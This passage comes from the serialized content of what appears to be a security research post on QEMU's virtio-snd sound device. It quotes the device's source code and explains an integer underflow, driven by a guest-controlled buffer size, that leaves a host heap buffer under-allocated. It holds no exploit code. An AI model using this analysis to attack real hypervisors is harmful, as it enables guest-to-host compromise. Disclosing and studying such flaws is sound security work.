machine.",{"type":22,"tag":23,"props":125040,"children":125041},{},[125042],{"type":27,"value":125043},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":22,"tag":20197,"props":125045,"children":125047},{"id":125046},"audio-data-buffers",[125048],{"type":27,"value":125049},"Audio Data Buffers",{"type":22,"tag":23,"props":125051,"children":125052},{},[125053],{"type":27,"value":125054},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":22,"tag":23,"props":125056,"children":125057},{},[125058,125060,125066],{"type":27,"value":125059},"For example, the following is ",{"type":22,"tag":257,"props":125061,"children":125063},{"className":125062},[],[125064],{"type":27,"value":125065},"virtio_snd_handle_rx_xfer",{"type":27,"value":125067},", which is responsible for allocating buffers for an input audio stream:",{"type":22,"tag":618,"props":125069,"children":125071},{"code":125070,"language":4449,"meta":7,"className":17815,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[125072],{"type":22,"tag":257,"props":125073,"children":125074},{"__ignoreMap":7},[125075,125082,125090,125098,125105,125113,125121,125129,125177,125184,125201,125208,125215,125227,125244,125251,125287,125307,125318,125325,125332,125340,125347,125380,125439,125457,125496,125521,125545,125573,125600,125638,125645,125657,125664,125671],{"type":22,"tag":264,"props":125076,"children":125077},{"class":1534,"line":1535},[125078],{"type":22,"tag":264,"props":125079,"children":125080},{"style":4284},[125081],{"type":27,"value":50686},{"type":22,"tag":264,"props":125083,"children":125084},{"class":1534,"line":1545},[125085],{"type":22,"tag":264,"props":125086,"children":125087},{"style":4284},[125088],{"type":27,"value":125089}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":22,"tag":264,"props":125091,"children":125092},{"class":1534,"line":1560},[125093],{"type":22,"tag":264,"props":125094,"children":125095},{"style":4284},[125096],{"type":27,"value":125097}," * respective streams for consumption.\n",{"type":22,"tag":264,"props":125099,"children":125100},{"class":1534,"line":1569},[125101],{"type":22,"tag":264,"props":125102,"children":125103},{"style":4284},[125104],{"type":27,"value":20794},{"type":22,"tag":264,"props":125106,"children":125107},{"class":1534,"line":1583},[125108],{"type":22,"tag":264,"props":125109,"children":125110},{"style":4284},[125111],{"type":27,"value":125112}," * @vdev: VirtIOSound device\n",{"type":22,"tag":264,"props":125114,"children":125115},{"class":1534,"line":1603},[125116],{"type":22,"tag":264,"props":125117,"children":125118},{"style":4284},[125119],{"type":27,"value":125120}," * @vq: rx virtqueue\n",{"type":22,"tag":264,"props":125122,"children":125123},{"class":1534,"line":1612},[125124],{"type":22,"tag":264,"props":125125,"children":125126},{"style":4284},[125127],{"type":27,"value":125128}," */\n",{"type":22,"tag":264,"props":125130,"children":125131},{"class":1534,"line":1621},[125132,125136,125140,125145,125150,125154,125159,125164,125168,125173],{"type":22,"tag":264,"props":125133,"children":125134},{"style":4293},[125135],{"type":27,"value":52365},{"type":22,"tag":264,"props":125137,"children":125138},{"style":4293},[125139],{"type":27,"value":52370},{"type":22,"tag":264,"props":125141,"children":125142},{"style":4401},[125143],{"type":27,"value":125144}," virtio_snd_handle_rx_xfer",{"type":22,"tag":264,"props":125146,"children":125147},{"style":1539},[125148],{"type":27,"value":125149},"(VirtIODevice ",{"type":22,"tag":264,"props":125151,"children":125152},{"style":4309},[125153],{"type":27,"value":5865},{"type":22,"tag":264,"props":125155,"children":125156},{"style":1549},[125157],{"type":27,"value":125158},"vdev",{"type":22,"tag":264,"props":125160,"children":125161},{"style":1539},[125162],{"type":27,"value":125163},", VirtQueue ",{"type":22,"tag":264,"props":125165,"children":125166},{"style":4309},[125167],{"type":27,"value":5865},{"type":22,"tag":264,"props":125169,"children":125170},{"style":1549},[125171],{"type":27,"value":125172},"vq",{"type":22,"tag":264,"props":125174,"children":125175},{"style":1539},[125176],{"type":27,"value":4463},{"type":22,"tag":264,"props":125178,"children":125179},{"class":1534,"line":1629},[125180],{"type":22,"tag":264,"props":125181,"children":125182},{"style":1539},[125183],{"type":27,"value":1542},{"type":22,"tag":264,"props":125185,"children":125186},{"class":1534,"line":1642},[125187,125192,125196],{"type":22,"tag":264,"props":125188,"children":125189},{"style":1539},[125190],{"type":27,"value":125191},"    VirtQueueElement ",{"type":22,"tag":264,"props":125193,"children":125194},{"style":4309},[125195],{"type":27,"value":5865},{"type":22,"tag":264,"props":125197,"children":125198},{"style":1539},[125199],{"type":27,"value":125200},"elem;\n",{"type":22,"tag":264,"props":125202,"children":125203},{"class":1534,"line":1660},[125204],{"type":22,"tag":264,"props":125205,"children":125206},{"style":1539},[125207],{"type":27,"value":106122},{"type":22,"tag":264,"props":125209,"children":125210},{"class":1534,"line":1668},[125211],{"type":22,"tag":264,"props":125212,"children":125213},{"emptyLinePlaceholder":17},[125214],{"type":27,"value":4986},{"type":22,"tag":264,"props":125216,"children":125217},{"class":1534,"line":1677},[125218,125222],{"type":22,"tag":264,"props":125219,"children":125220},{"style":4328},[125221],{"type":27,"value":4331},{"type":22,"tag":264,"props":125223,"children":125224},{"style":1539},[125225],{"type":27,"value":125226}," (;;) {\n",{"type":22,"tag":264,"props":125228,"children":125229},{"class":1534,"line":1686},[125230,125235,125239],{"type":22,"tag":264,"props":125231,"children":125232},{"style":1539},[125233],{"type":27,"value":125234},"        VirtIOSoundPCMStream ",{"type":22,"tag":264,"props":125236,"children":125237},{"style":4309},[125238],{"type":27,"value":5865},{"type":22,"tag":264,"props":125240,"children":125241},{"style":1539},[125242],{"type":27,"value":125243},"stream;\n",{"type":22,"tag":264,"props":125245,"children":125246},{"class":1534,"line":4948},[125247],{"type":22,"tag":264,"props":125248,"children":125249},{"emptyLinePlaceholder":17},[125250],{"type":27,"value":4986},{"type":22,"tag":264,"props":125252,"children":125253},{"class":1534,"line":4957},[125254,125259,125263,125268,125273,125277,125282],{"type":22,"tag":264,"props":125255,"children":125256},{"style":1539},[125257],{"type":27,"value":125258},"        elem ",{"type":22,"tag":264,"props":125260,"children":125261},{"style":4309},[125262],{"type":27,"value":429},{"type":22,"tag":264,"props":125264,"children":125265},{"style":4401},[125266],{"type":27,"value":125267}," virtqueue_pop",{"type":22,"tag":264,"props":125269,"children":125270},{"style":1539},[125271],{"type":27,"value":125272},"(vq, ",{"type":22,"tag":264,"props":125274,"children":125275},{"style":4293},[125276],{"type":27,"value":56649},{"type":22,"tag":264,"props":125278,"children":125279},{"style":1539},[125280],{"type":27,"value":125281},"(VirtQueueElement));",{"type":22,"tag":264,"props":125283,"children":125284},{"style":4284},[125285],{"type":27,"value":125286},"     // [1]\n",{"type":22,"tag":264,"props":125288,"children":125289},{"class":1534,"line":4980},[125290,125294,125298,125302],{"type":22,"tag":264,"props":125291,"children":125292},{"style":4328},[125293],{"type":27,"value":4575},{"type":22,"tag":264,"props":125295,"children":125296},{"style":1539},[125297],{"type":27,"value":4370},{"type":22,"tag":264,"props":125299,"children":125300},{"style":4309},[125301],{"type":27,"value":21928},{"type":22,"tag":264,"props":125303,"children":125304},{"style":1539},[125305],{"type":27,"value":125306},"elem) {\n",{"type":22,"tag":264,"props":125308,"children":125309},{"class":1534,"line":4989},[125310,125314],{"type":22,"tag":264,"props":125311,"children":125312},{"style":4328},[125313],{"type":27,"value":4602},{"type":22,"tag":264,"props":125315,"children":125316},{"style":1539},[125317],{"type":27,"value":4322},{"type":22,"tag":264,"props":125319,"children":125320},{"class":1534,"line":4998},[125321],{"type":22,"tag":264,"props":125322,"children":125323},{"style":1539},[125324],{"type":27,"value":4651},{"type":22,"tag":264,"props":125326,"children":125327},{"class":1534,"line":5067},[125328],{"type":22,"tag":264,"props":125329,"children":125330},{"emptyLinePlaceholder":17},[125331],{"type":27,"value":4986},{"type":22,"tag":264,"props":125333,"children":125334},{"class":1534,"line":5075},[125335],{"type":22,"tag":264,"props":125336,"children":125337},{"style":1539},[125338],{"type":27,"value":125339},"        [...]\n",{"type":22,"tag":264,"props":125341,"children":125342},{"class":1534,"line":5105},[125343],{"type":22,"tag":264,"props":125344,"children":125345},{"emptyLinePlaceholder":17},[125346],{"type":27,"value":4986},{"type":22,"tag":264,"props":125348,"children":125349},{"class":1534,"line":5113},[125350,125355,125359,125363,125367,125371,125376],{"type":22,"tag":264,"props":125351,"children":125352},{"style":4401},[125353],{"type":27,"value":125354},"        WITH_QEMU_LOCK_GUARD",{"type":22,"tag":264,"props":125356,"children":125357},{"style":1539},[125358],{"type":27,"value":2660},{"type":22,"tag":264,"props":125360,"children":125361},{"style":4309},[125362],{"type":27,"value":4413},{"type":22,"tag":264,"props":125364,"children":125365},{"style":1549},[125366],{"type":27,"value":37576},{"type":22,"tag":264,"props":125368,"children":125369},{"style":1539},[125370],{"type":27,"value":15056},{"type":22,"tag":264,"props":125372,"children":125373},{"style":1549},[125374],{"type":27,"value":125375},"queue_mutex",{"type":22,"tag":264,"props":125377,"children":125378},{"style":1539},[125379],{"type":27,"value":16103},{"type":22,"tag":264,"props":125381,"children":125382},{"class":1534,"line":5145},[125383,125388,125392,125397,125401,125405,125409,125414,125418,125422,125426,125431,125435],{"type":22,"tag":264,"props":125384,"children":125385},{"style":1539},[125386],{"type":27,"value":125387},"            size ",{"type":22,"tag":264,"props":125389,"children":125390},{"style":4309},[125391],{"type":27,"value":429},{"type":22,"tag":264,"props":125393,"children":125394},{"style":4401},[125395],{"type":27,"value":125396}," iov_size",{"type":22,"tag":264,"props":125398,"children":125399},{"style":1539},[125400],{"type":27,"value":2660},{"type":22,"tag":264,"props":125402,"children":125403},{"style":1549},[125404],{"type":27,"value":53385},{"type":22,"tag":264,"props":125406,"children":125407},{"style":1539},[125408],{"type":27,"value":15056},{"type":22,"tag":264,"props":125410,"children":125411},{"style":1549},[125412],{"type":27,"value":125413},"in_sg",{"type":22,"tag":264,"props":125415,"children":125416},{"style":1539},[125417],{"type":27,"value":4380},{"type":22,"tag":264,"props":125419,"children":125420},{"style":1549},[125421],{"type":27,"value":53385},{"type":22,"tag":264,"props":125423,"children":125424},{"style":1539},[125425],{"type":27,"value":15056},{"type":22,"tag":264,"props":125427,"children":125428},{"style":1549},[125429],{"type":27,"value":125430},"in_num",{"type":22,"tag":264,"props":125432,"children":125433},{"style":1539},[125434],{"type":27,"value":4390},{"type":22,"tag":264,"props":125436,"children":125437},{"style":4309},[125438],{"type":27,"value":52182},{"type":22,"tag":264,"props":125440,"children":125441},{"class":1534,"line":5153},[125442,125447,125452],{"type":22,"tag":264,"props":125443,"children":125444},{"style":4293},[125445],{"type":27,"value":125446},"                sizeof",{"type":22,"tag":264,"props":125448,"children":125449},{"style":1539},[125450],{"type":27,"value":125451},"(virtio_snd_pcm_status);",{"type":22,"tag":264,"props":125453,"children":125454},{"style":4284},[125455],{"type":27,"value":125456},"                  // [2]\n",{"type":22,"tag":264,"props":125458,"children":125459},{"class":1534,"line":5213},[125460,125465,125469,125474,125478,125482,125487,125491],{"type":22,"tag":264,"props":125461,"children":125462},{"style":1539},[125463],{"type":27,"value":125464},"            buffer ",{"type":22,"tag":264,"props":125466,"children":125467},{"style":4309},[125468],{"type":27,"value":429},{"type":22,"tag":264,"props":125470,"children":125471},{"style":4401},[125472],{"type":27,"value":125473}," g_malloc0",{"type":22,"tag":264,"props":125475,"children":125476},{"style":1539},[125477],{"type":27,"value":2660},{"type":22,"tag":264,"props":125479,"children":125480},{"style":4293},[125481],{"type":27,"value":56649},{"type":22,"tag":264,"props":125483,"children":125484},{"style":1539},[125485],{"type":27,"value":125486},"(VirtIOSoundPCMBuffer) ",{"type":22,"tag":264,"props":125488,"children":125489},{"style":4309},[125490],{"type":27,"value":673},{"type":22,"tag":264,"props":125492,"children":125493},{"style":1539},[125494],{"type":27,"value":125495}," size);\n",{"type":22,"tag":264,"props":125497,"children":125498},{"class":1534,"line":10343},[125499,125504,125508,125512,125516],{"type":22,"tag":264,"props":125500,"children":125501},{"style":1549},[125502],{"type":27,"value":125503},"            buffer",{"type":22,"tag":264,"props":125505,"children":125506},{"style":1539},[125507],{"type":27,"value":15056},{"type":22,"tag":264,"props":125509,"children":125510},{"style":1549},[125511],{"type":27,"value":53385},{"type":22,"tag":264,"props":125513,"children":125514},{"style":4309},[125515],{"type":27,"value":4312},{"type":22,"tag":264,"props":125517,"children":125518},{"style":1539},[125519],{"type":27,"value":125520}," elem;\n",{"type":22,"tag":264,"props":125522,"children":125523},{"class":1534,"line":10361},[125524,125528,125532,125536,125540],{"type":22,"tag":264,"props":125525,"children":125526},{"style":1549},[125527],{"type":27,"value":125503},{"type":22,"tag":264,"props":125529,"children":125530},{"style":1539},[125531],{"type":27,"value":15056},{"type":22,"tag":264,"props":125533,"children":125534},{"style":1549},[125535],{"type":27,"value":125172},{"type":22,"tag":264,"props":125537,"children":125538},{"style":4309},[125539],{"type":27,"value":4312},{"type":22,"tag":264,"props":125541,"children":125542},{"style":1539},[125543],{"type":27,"value":125544}," vq;\n",{"type":22,"tag":264,"props":125546,"children":125547},{"class":1534,"line":10406},[125548,125552,125556,125561,125565,125569],{"type":22,"tag":264,"props":125549,"children":125550},{"style":1549},[125551],{"type":27,"value":125503},{"type":22,"tag":264,"props":125553,"children":125554},{"style":1539},[125555],{"type":27,"value":15056},{"type":22,"tag":264,"props":125557,"children":125558},{"style":1549},[125559],{"type":27,"value":125560},"size",{"type":22,"tag":264,"props":125562,"children":125563},{"style":4309},[125564],{"type":27,"value":4312},{"type":22,"tag":264,"props":125566,"children":125567},{"style":4344},[125568],{"type":27,"value":4347},{"type":22,"tag":264,"props":125570,"children":125571},{"style":1539},[125572],{"type":27,"value":4322},{"type":22,"tag":264,"props":125574,"children":125575},{"class":1534,"line":10512},[125576,125580,125584,125588,125592,125596],{"type":22,"tag":264,"props":125577,"children":125578},{"style":1549},[125579],{"type":27,"value":125503},{"type":22,"tag":264,"props":125581,"children":125582},{"style":1539},[125583],{"type":27,"value":15056},{"type":22,"tag":264,"props":125585,"children":125586},{"style":1549},[125587],{"type":27,"value":15200},{"type":22,"tag":264,"props":125589,"children":125590},{"style":4309},[125591],{"type":27,"value":4312},{"type":22,"tag":264,"props":125593,"children":125594},{"style":4344},[125595],{"type":27,"value":4347},{"type":22,"tag":264,"props":125597,"children":125598},{"style":1539},[125599],{"type":27,"value":4322},{"type":22,"tag":264,"props":125601,"children":125602},{"class":1534,"line":24810},[125603,125608,125612,125616,125620,125624,125629,125634],{"type":22,"tag":264,"props":125604,"children":125605},{"style":4401},[125606],{"type":27,"value":125607},"            QSIMPLEQ_INSERT_TAIL",{"type":22,"tag":264,"props":125609,"children":125610},{"style":1539},[125611],{"type":27,"value":2660},{"type":22,"tag":264,"props":125613,"children":125614},{"style":4309},[125615],{"type":27,"value":4413},{"type":22,"tag":264,"props":125617,"children":125618},{"style":1549},[125619],{"type":27,"value":37576},{"type":22,"tag":264,"props":125621,"children":125622},{"style":1539},[125623],{"type":27,"value":15056},{"type":22,"tag":264,"props":125625,"children":125626},{"style":1549},[125627],{"type":27,"value":125628},"queue",{"type":22,"tag":264,"props":125630,"children":125631},{"style":1539},[125632],{"type":27,"value":125633},", buffer, entry);",{"type":22,"tag":264,"props":125635,"children":125636},{"style":4284},[125637],{"type":27,"value":53950},{"type":22,"tag":264,"props":125639,"children":125640},{"class":1534,"line":24845},[125641],{"type":22,"tag":264,"props":125642,"children":125643},{"style":1539},[125644],{"type":27,"value":4651},{"type":22,"tag":264,"props":125646,"children":125647},{"class":1534,"line":24853},[125648,125653],{"type":22,"tag":264,"props":125649,"children":125650},{"style":4328},[125651],{"type":27,"value":125652},"        continue",{"type":22,"tag":264,"props":125654,"children":125655},{"style":1539},[125656],{"type":27,"value":4322},{"type":22,"tag":264,"props":125658,"children":125659},{"class":1534,"line":24861},[125660],{"type":22,"tag":264,"props":125661,"children":125662},{"emptyLinePlaceholder":17},[125663],{"type":27,"value":4986},{"type":22,"tag":264,"props":125665,"children":125666},{"class":1534,"line":24870},[125667],{"type":22,"tag":264,"props":125668,"children":125669},{"style":1539},[125670],{"type":27,"value":125339},{"type":22,"tag":264,"props":125672,"children":125673},{"class":1534,"line":24912},[125674],{"type":22,"tag":264,"props":125675,"children":125676},{"style":1539},[125677],{"type":27,"value":1692},{"type":22,"tag":23,"props":125679,"children":125680},{},[125681,125683,125689,125691,125697,125699,125704,125705,125711],{"type":27,"value":125682},"At ",{"type":22,"tag":257,"props":125684,"children":125686},{"className":125685},[],[125687],{"type":27,"value":125688},"[1]",{"type":27,"value":125690},", a ",{"type":22,"tag":257,"props":125692,"children":125694},{"className":125693},[],[125695],{"type":27,"value":125696},"VirtQueueElement *elem",{"type":27,"value":125698}," is popped from the virtqueue. It contains the ",{"type":22,"tag":257,"props":125700,"children":125702},{"className":125701},[],[125703],{"type":27,"value":125413},{"type":27,"value":12290},{"type":22,"tag":257,"props":125706,"children":125708},{"className":125707},[],[125709],{"type":27,"value":125710},"out_sg",{"type":27,"value":125712}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":22,"tag":23,"props":125714,"children":125715},{},[125716,125718,125724,125726,125732,125734,125740,125742,125748,125750,125756],{"type":27,"value":125717},"Further at ",{"type":22,"tag":257,"props":125719,"children":125721},{"className":125720},[],[125722],{"type":27,"value":125723},"[2]",{"type":27,"value":125725},", the device computes the size of the data buffer as ",{"type":22,"tag":257,"props":125727,"children":125729},{"className":125728},[],[125730],{"type":27,"value":125731},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":27,"value":125733},". That value is then used in the allocation: ",{"type":22,"tag":257,"props":125735,"children":125737},{"className":125736},[],[125738],{"type":27,"value":125739},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":27,"value":125741},". Finally, at ",{"type":22,"tag":257,"props":125743,"children":125745},{"className":125744},[],[125746],{"type":27,"value":125747},"[3]",{"type":27,"value":125749},", the newly allocated buffer is appended to the ",{"type":22,"tag":257,"props":125751,"children":125753},{"className":125752},[],[125754],{"type":27,"value":125755},"stream->queue",{"type":27,"value":125757}," linked list.",{"type":22,"tag":23,"props":125759,"children":125760},{},[125761,125763,125768,125770,125775,125777,125782,125784,125790],{"type":27,"value":125762},"Because both the ",{"type":22,"tag":257,"props":125764,"children":125766},{"className":125765},[],[125767],{"type":27,"value":125413},{"type":27,"value":125769}," iovec and the ",{"type":22,"tag":257,"props":125771,"children":125773},{"className":125772},[],[125774],{"type":27,"value":125430},{"type":27,"value":125776}," field are guest-controlled, and there is no check that the total ",{"type":22,"tag":257,"props":125778,"children":125780},{"className":125779},[],[125781],{"type":27,"value":125413},{"type":27,"value":125783}," size is at least ",{"type":22,"tag":257,"props":125785,"children":125787},{"className":125786},[],[125788],{"type":27,"value":125789},"sizeof(virtio_snd_pcm_status)",{"type":27,"value":125791},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":22,"tag":23,"props":125793,"children":125794},{},[125795,125797,125802,125804,125810,125812,125818,125820,125826],{"type":27,"value":125796},"From the guest driver, we can provide an empty ",{"type":22,"tag":257,"props":125798,"children":125800},{"className":125799},[],[125801],{"type":27,"value":125413},{"type":27,"value":125803}," iovec. In that case, the calculation becomes ",{"type":22,"tag":257,"props":125805,"children":125807},{"className":125806},[],[125808],{"type":27,"value":125809},"0 - sizeof(virtio_snd_pcm_status)",{"type":27,"value":125811},", so the allocation size effectively becomes ",{"type":22,"tag":257,"props":125813,"children":125815},{"className":125814},[],[125816],{"type":27,"value":125817},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":27,"value":125819},". Given the definition of ",{"type":22,"tag":257,"props":125821,"children":125823},{"className":125822},[],[125824],{"type":27,"value":125825},"VirtIOSoundPCMBuffer",{"type":27,"value":5785},{"type":22,"tag":618,"props":125828,"children":125830},{"code":125829,"language":4449,"meta":7,"className":17815,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[125831],{"type":22,"tag":257,"props":125832,"children":125833},{"__ignoreMap":7},[125834,125846,125859,125874,125891,125903,125915,125923,125935,125955],{"type":22,"tag":264,"props":125835,"children":125836},{"class":1534,"line":1535},[125837,125841],{"type":22,"tag":264,"props":125838,"children":125839},{"style":4293},[125840],{"type":27,"value":10699},{"type":22,"tag":264,"props":125842,"children":125843},{"style":1539},[125844],{"type":27,"value":125845}," VirtIOSoundPCMBuffer {\n",{"type":22,"tag":264,"props":125847,"children":125848},{"class":1534,"line":1545},[125849,125854],{"type":22,"tag":264,"props":125850,"children":125851},{"style":4401},[125852],{"type":27,"value":125853},"    QSIMPLEQ_ENTRY",{"type":22,"tag":264,"props":125855,"children":125856},{"style":1539},[125857],{"type":27,"value":125858},"(VirtIOSoundPCMBuffer) entry;\n",{"type":22,"tag":264,"props":125860,"children":125861},{"class":1534,"line":1560},[125862,125866,125870],{"type":22,"tag":264,"props":125863,"children":125864},{"style":1539},[125865],{"type":27,"value":125191},{"type":22,"tag":264,"props":125867,"children":125868},{"style":4309},[125869],{"type":27,"value":5865},{"type":22,"tag":264,"props":125871,"children":125872},{"style":1539},[125873],{"type":27,"value":125200},{"type":22,"tag":264,"props":125875,"children":125876},{"class":1534,"line":1569},[125877,125882,125886],{"type":22,"tag":264,"props":125878,"children":125879},{"style":1539},[125880],{"type":27,"value":125881},"    VirtQueue ",{"type":22,"tag":264,"props":125883,"children":125884},{"style":4309},[125885],{"type":27,"value":5865},{"type":22,"tag":264,"props":125887,"children":125888},{"style":1539},[125889],{"type":27,"value":125890},"vq;\n",{"type":22,"tag":264,"props":125892,"children":125893},{"class":1534,"line":1583},[125894,125898],{"type":22,"tag":264,"props":125895,"children":125896},{"style":4293},[125897],{"type":27,"value":17865},{"type":22,"tag":264,"props":125899,"children":125900},{"style":1539},[125901],{"type":27,"value":125902}," size;\n",{"type":22,"tag":264,"props":125904,"children":125905},{"class":1534,"line":1603},[125906,125910],{"type":22,"tag":264,"props":125907,"children":125908},{"style":4293},[125909],{"type":27,"value":56934},{"type":22,"tag":264,"props":125911,"children":125912},{"style":1539},[125913],{"type":27,"value":125914}," offset;\n",{"type":22,"tag":264,"props":125916,"children":125917},{"class":1534,"line":1612},[125918],{"type":22,"tag":264,"props":125919,"children":125920},{"style":4284},[125921],{"type":27,"value":125922},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":22,"tag":264,"props":125924,"children":125925},{"class":1534,"line":1621},[125926,125930],{"type":22,"tag":264,"props":125927,"children":125928},{"style":4293},[125929],{"type":27,"value":47793},{"type":22,"tag":264,"props":125931,"children":125932},{"style":1539},[125933],{"type":27,"value":125934}," populated;\n",{"type":22,"tag":264,"props":125936,"children":125937},{"class":1534,"line":1629},[125938,125942,125946,125951],{"type":22,"tag":264,"props":125939,"children":125940},{"style":4293},[125941],{"type":27,"value":59778},{"type":22,"tag":264,"props":125943,"children":125944},{"style":1539},[125945],{"type":27,"value":16404},{"type":22,"tag":264,"props":125947,"children":125948},{"style":4293},[125949],{"type":27,"value":125950},"[]",{"type":22,"tag":264,"props":125952,"children":125953},{"style":1539},[125954],{"type":27,"value":4322},{"type":22,"tag":264,"props":125956,"children":125957},{"class":1534,"line":1642},[125958],{"type":22,"tag":264,"props":125959,"children":125960},{"style":1539},[125961],{"type":27,"value":17878},{"type":22,"tag":23,"props":125963,"children":125964},{},[125965,125967,125973,125975,125980,125982,125987,125989,125994,125996,126001,126003,126009],{"type":27,"value":125966},"That under-allocation removes the ",{"type":22,"tag":257,"props":125968,"children":125970},{"className":125969},[],[125971],{"type":27,"value":125972},"populated",{"type":27,"value":125974}," field along with the variable-sized ",{"type":22,"tag":257,"props":125976,"children":125978},{"className":125977},[],[125979],{"type":27,"value":5013},{"type":27,"value":125981}," array. As the comment says, ",{"type":22,"tag":257,"props":125983,"children":125985},{"className":125984},[],[125986],{"type":27,"value":125972},{"type":27,"value":125988}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":22,"tag":257,"props":125990,"children":125992},{"className":125991},[],[125993],{"type":27,"value":602},{"type":27,"value":125995},", the device believes data should be ",{"type":22,"tag":257,"props":125997,"children":125999},{"className":125998},[],[126000],{"type":27,"value":602},{"type":27,"value":126002}," byte, while the actual allocation is ",{"type":22,"tag":257,"props":126004,"children":126006},{"className":126005},[],[126007],{"type":27,"value":126008},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":27,"value":210},{"type":22,"tag":20197,"props":126011,"children":126013},{"id":126012},"populating-data-buffers",[126014],{"type":27,"value":126015},"Populating Data Buffers",{"type":22,"tag":23,"props":126017,"children":126018},{},[126019],{"type":27,"value":126020},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":22,"tag":618,"props":126022,"children":126024},{"code":126023,"language":4449,"meta":7,"className":17815,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[126025],{"type":22,"tag":257,"props":126026,"children":126027},{"__ignoreMap":7},[126028,126035,126043,126050,126058,126066,126073,126122,126129,126155,126172,126184,126191,126223,126268,126308,126315,126323,126330,126355,126383,126407,126415,126427,126465,126478,126490,126497,126543,126580,126623,126644,126664,126684,126695,126702,126725,126741,126749,126756,126763,126770],{"type":22,"tag":264,"props":126029,"children":126030},{"class":1534,"line":1535},[126031],{"type":22,"tag":264,"props":126032,"children":126033},{"style":4284},[126034],{"type":27,"value":50686},{"type":22,"tag":264,"props":126036,"children":126037},{"class":1534,"line":1545},[126038],{"type":22,"tag":264,"props":126039,"children":126040},{"style":4284},[126041],{"type":27,"value":126042}," * AUD_* input callback.\n",{"type":22,"tag":264,"props":126044,"children":126045},{"class":1534,"line":1560},[126046],{"type":22,"tag":264,"props":126047,"children":126048},{"style":4284},[126049],{"type":27,"value":20794},{"type":22,"tag":264,"props":126051,"children":126052},{"class":1534,"line":1569},[126053],{"type":22,"tag":264,"props":126054,"children":126055},{"style":4284},[126056],{"type":27,"value":126057}," * @data: VirtIOSoundPCMStream stream\n",{"type":22,"tag":264,"props":126059,"children":126060},{"class":1534,"line":1583},[126061],{"type":22,"tag":264,"props":126062,"children":126063},{"style":4284},[126064],{"type":27,"value":126065}," * @available: number of bytes that can be read with AUD_read()\n",{"type":22,"tag":264,"props":126067,"children":126068},{"class":1534,"line":1603},[126069],{"type":22,"tag":264,"props":126070,"children":126071},{"style":4284},[126072],{"type":27,"value":125128},{"type":22,"tag":264,"props":126074,"children":126075},{"class":1534,"line":1612},[126076,126080,126084,126089,126093,126097,126101,126105,126109,126113,126118],{"type":22,"tag":264,"props":126077,"children":126078},{"style":4293},[126079],{"type":27,"value":52365},{"type":22,"tag":264,"props":126081,"children":126082},{"style":4293},[126083],{"type":27,"value":52370},{"type":22,"tag":264,"props":126085,"children":126086},{"style":4401},[126087],{"type":27,"value":126088}," virtio_snd_pcm_in_cb",{"type":22,"tag":264,"props":126090,"children":126091},{"style":1539},[126092],{"type":27,"value":2660},{"type":22,"tag":264,"props":126094,"children":126095},{"style":4293},[126096],{"type":27,"value":52948},{"type":22,"tag":264,"props":126098,"children":126099},{"style":4309},[126100],{"type":27,"value":11115},{"type":22,"tag":264,"props":126102,"children":126103},{"style":1549},[126104],{"type":27,"value":5013},{"type":22,"tag":264,"props":126106,"children":126107},{"style":1539},[126108],{"type":27,"value":4380},{"type":22,"tag":264,"props":126110,"children":126111},{"style":4293},[126112],{"type":27,"value":20352},{"type":22,"tag":264,"props":126114,"children":126115},{"style":1549},[126116],{"type":27,"value":126117}," 